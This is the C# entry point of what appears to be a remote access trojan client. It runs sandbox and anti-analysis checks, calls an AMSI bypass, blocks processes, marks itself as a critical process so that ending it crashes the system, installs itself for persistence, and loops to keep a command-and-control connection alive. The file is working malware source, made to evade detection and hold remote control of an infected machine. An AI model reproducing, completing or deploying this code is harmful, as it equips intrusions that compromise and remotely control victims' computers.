using System.Threading; using Client.Connection; using Client.Install; using System; using Client.Helper; namespace Client { public class Program { public static void Main() { for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++) { Thread.Sleep(1000); } if (!Settings.InitializeSettings()) Environment.Exit(0); try { if (Convert.ToBoolean(Settings.An_ti)) //run anti-virtual environment Anti_Analysis.RunAntiAnalysis(); } catch { } A.B();//Amsi Bypass try { if (!MutexControl.CreateMutex()) //if current payload is a duplicate Environment.Exit(0); } catch { } try { if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess AntiProcess.StartBlock(); } catch { } try { if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) //active critical process ProcessCritical.Set(); } catch { } try { if (Convert.ToBoolean(Settings.In_stall)) //drop payload [persistence] NormalStartup.Install(); } catch { } Methods.PreventSleep(); //prevent pc to idle\sleep try { if (Methods.IsAdmin()) Methods.ClearSetting(); } catch { } while (true) // ~ loop to check socket status { try { if (!ClientSocket.IsConnected) { ClientSocket.Reconnect(); ClientSocket.InitializeClient(); } } catch { } Thread.Sleep(5000); } } } }